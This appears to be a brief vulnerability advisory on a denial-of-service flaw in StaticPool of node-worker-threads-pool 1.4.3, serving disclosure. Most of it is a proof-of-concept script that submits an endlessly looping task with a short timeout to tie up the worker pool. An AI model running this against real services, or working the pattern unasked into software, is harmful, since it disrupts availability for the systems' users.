SUCHMOKUO node-worker-threads-pool denial of service Vulnerability

An issue was discovered in StaticPool in SUCHMOKUO node-worker-threads-pool version 1.4.3 that allows attackers to cause a denial of service.

```ts

const { StaticPool } = require(\"node-worker-threads-pool\");

const staticPool = new StaticPool({

size: 1,

task: (n) => {

while (n) {

console.log(\"a\");

}

return n;

}

});

staticPool.createExecutor().setTimeout(10).exec(1).then((result) => {

console.log(\"result from thread pool:\", result);

}).catch(() => console.error('timeout'));

```
